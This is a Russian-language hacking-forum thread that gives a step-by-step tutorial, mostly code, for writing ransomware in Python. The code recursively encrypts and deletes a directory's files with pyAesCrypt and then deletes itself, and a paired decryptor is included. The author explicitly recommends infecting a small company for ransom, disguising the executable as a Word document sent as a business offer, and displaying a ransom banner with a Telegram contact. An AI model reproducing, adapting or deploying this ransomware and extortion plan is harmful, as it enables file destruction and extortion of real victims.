Загрузка...

Пишем вирус-шифровальщик на Python

Тема в разделе Вирусология создана пользователем shkila 4 мар 2021. 3321 просмотр

Загрузка...
  1. shkila
    shkila Автор темы 4 мар 2021 Steam Guard https://zelenka.guru/threads/3678185/ 3524 27 авг 2020
    Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки редко попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

    Создание шифровальщика

    Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

    Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

    Код
    direct = input("Напиши атакуемую директорию: ")
    password = input("Введи пароль: ")
    Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

    Код
    with open("Crypt.py", "w") as crypt:
    crypt.write('''
    текст программы
    ''')
    Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

    Код
    import os
    import sys

    Пишем функцию шифрования (все по мануалу pyAesCrypt):

    Код
    def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    # Задаем пароль и размер буфера
    password = "'''+str(password)+'''"
    buffer_size = 512*1024
    # Вызываем функцию шифрования
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    # Удаляем исходный файл
    os.remove(file)
    Вместо str(password) скрипт-генератор вставит пароль.

    Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

    Теперь функция, которая обходит папки. Тут тоже ничего сложного.

    Код
    def walk(dir):
    # Перебор всех подпапок в указанной папке
    for name in os.listdir(dir):
    path = os.path.join(dir, name)
    # Если это файл, шифруем его
    if os.path.isfile(path):
    crypt(path)
    # Если это папка, рекурсивно повторяем
    else:
    walk(path)
    В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.


    Код
    walk("'''+str(direct)+'''")
    os.remove(str(sys.argv[0]))
    Здесь снова будет подставляться нужный путь.

    Код
    import os
    import sys

    def crypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'"+str(password)+"'"
    buffer_size = 512*1024
    pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
    print("[Encrypt] '"+str(file)+".crp'")
    os.remove(file)

    def walk(dir):
    for name in os.listdir(dir):
    path = os.path.join(dir, name)
    if os.path.isfile(path):
    crypt(path)
    else:
    walk(path)

    walk("'''+str(direct)+'''")
    print('-' * 80)
    os.remove(str(sys.argv[0]))
    Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

    Код
    import os
    import sys

    # Функция расшифровки
    def decrypt(file):
    import pyAesCrypt
    print('-' * 80)
    password = "'''+str(password)+'''"
    buffer_size = 512 * 1024
    pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size)
    print("[Decrypt] '" + str(os.path.splitext(file)[0]) + "'")
    os.remove(file)

    # Обход каталогов
    def walk(dir):
    for name in os.listdir(dir):
    path = os.path.join(dir, name)
    if os.path.isfile(path):
    try:
    decrypt(path)
    except Error:
    pass
    else:
    walk(path)

    walk("'''+str(direct)+'''")
    print('-' * 80)
    os.remove(str(sys.argv[0]))
    Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.


    Использование скрипта

    Можно придумывать уйму идей , как использовать вредоносные скрипты. Например заразить небольшую компанию и попросить выкуп за дешифратор. Все таки чтобы расшифровать винду потребуется наш пароль. Преподносить шифровальщик можно в качестве какого-нибудь делового предложения, сделать .exe файл из скрипта, поменять значок на Microsoft Word, ну и в принципе самая банальная маскировка у вас есть, если человек глупый, то файлы у него зашифруются. Можете после шифровки сразу сделать так, чтобы выходил баннер с требованиями, и указать ваш ТГ. Готово.

    Спасибо за внимание!
    Надеюсь на вашу поддержку :froglove:
     
  2. shkila
    shkila Автор темы 4 мар 2021 Steam Guard https://zelenka.guru/threads/3678185/ 3524 27 авг 2020
    Ну круто же
     
  3. premori
    premori 7 мар 2021 Заблокирован(а) 1346 7 фев 2021
    В полицию позвонил, майор уже едет
     
Top